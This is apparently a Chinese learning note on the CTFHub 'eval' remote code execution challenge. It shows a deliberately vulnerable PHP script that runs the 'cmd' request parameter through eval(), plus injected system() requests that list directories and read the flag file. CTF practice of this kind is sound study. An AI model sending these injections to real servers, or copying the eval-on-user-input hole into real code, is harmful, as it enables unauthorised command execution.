CTFHub 技能树 Web RCE eval执行(学习记录)

eval执行

源代码

php 复制代码
<?php
if (isset($_REQUEST['cmd'])) {
    eval($_REQUEST["cmd"]);
} else {
    highlight_file(__FILE__);
}
?>

PHP代码显示,要求将命令赋值给cmd然后执行

先查看一下根目录文件 /?cmd=system("ls");

查看上一级目录找flag文件

/?cmd=system("ls /");

打开flag文件发现FLAG

/?cmd=system("cat /flag_9237");

linux在读取flag的时候可以使用*去匹配

cat /flag*

/?cmd=system("cat /flag*");

相关推荐
晓晓hh15 小时前
JavaSE学习——比较相关接口
学习
CC城子16 小时前
EtherCAT的igh学习与研究(二)
学习·ethercat
炽烈小老头16 小时前
【每天学习一点算法 2026/04/11】Pow(x, n)
学习·算法
旖-旎16 小时前
哈希表(存在重复元素)(3)
数据结构·c++·学习·算法·leetcode·散列表
weixin_5134499616 小时前
walk_these_ways项目学习记录第九篇(通过行为多样性 (MoB) 实现地形泛化)--学习算法
学习·算法·机器学习
chh56317 小时前
C++--内存管理
java·c语言·c++·windows·学习·面试
CNemon17 小时前
《怎样学习文言文》溯源
学习
wayz1117 小时前
21天机器学习核心算法学习计划(量化方向)
学习·算法·机器学习
Flandern111117 小时前
Go程序员学习AI大模型项目实战02:给 AI 装上“大脑”:从配置解包到流式生成的深度拆解
人工智能·后端·python·学习·golang
weixin_5134499618 小时前
walk_these_ways项目学习记录第十篇(通过行为多样性 (MoB) 实现地形泛化)--从仿真到部署
人工智能·学习·算法